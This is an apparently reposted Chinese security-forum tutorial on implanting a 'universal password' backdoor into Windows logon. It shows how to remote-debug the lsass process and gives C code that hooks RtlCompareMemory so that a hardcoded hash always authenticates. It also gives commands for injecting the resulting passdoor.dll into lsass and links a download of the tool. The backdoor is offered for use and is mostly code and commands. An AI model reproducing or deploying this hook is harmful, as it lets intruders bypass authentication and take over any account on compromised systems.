来源:看雪学院 windows有通用密码吗? 先不管是不是真的有,我们可以自己实现一个这样的后门。 先简单介绍一下windows登陆过程中的一些过程。 lsass调用msv1_0.dll的是这个函数:
代码:
msv1_0!LsaApLogonUserEx2 那我们就应该调试lsass进程然后在msv1_0!LsaApLogonUserEx2下断点。
代码:
dbgsrv.exe -t tcp:port=1234,password=spat 然后在调试端运行
代码:
windbg.exe -premote tcp:server=192.168.1.102,port=1234,password=spat 然后选择附加lsass进程。 虚拟机启动后,dbgsrv也起来了,然后用windbg连上并附上lsass进程。 这个时候给大家介绍windbg的一个强劲的命令,那就是wt,它能所有的记录函数调用关系,一直记录到ret,具体用法请看windbg帮助。
代码:
SIZE_T RtlCompareMemory( IN CONST VOID *Source1, IN CONST VOID *Source2, IN SIZE_T Length ); RtlCompareMemory in MSDN
代码:
int WINAPI MyRtlCompareMemory(void *a, void *b, int len) { if (len == 16 && pRtlCompareMemory(PASSWD_HASH, b, len) == 16) return 16; return pRtlCompareMemory(a, b, len); } 其中pRtlCompareMemory是全局变量,是真正的RtlCompareMemory的地址,PASSWD_HASH是通用密码的哈希。 要hook这个函数有很多方法,
代码:
C:/Documents and Settings/cly/桌面/bin>InjectDll.exe InjectDll v0.1 Inject/UnInject a dll file to a process, by cly, at 20080522 Usage: InjectDll.exe (-i | -u | -U) pid filename -i: Inject -u: UnInject once -U: UnInject at all passdoor.dll是要注入到lsass进程的dll,这个dll在DllMain中实现了IAT hook,很土的技术了,就不贴代码了,网上一搜一箩筐。 然后我又写了一个小工具:pdconfig 使用方法:
代码:
InjectDll.exe -i pid_of_lsass full_path_of_passdoor.dll 卸载方法:
代码:
InjectDll.exe -U pid_of_lsass full_path_of_passdoor.dll http://clyfish.googlepages.com/passdoor.rar |
<script type="text/javascript"> </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>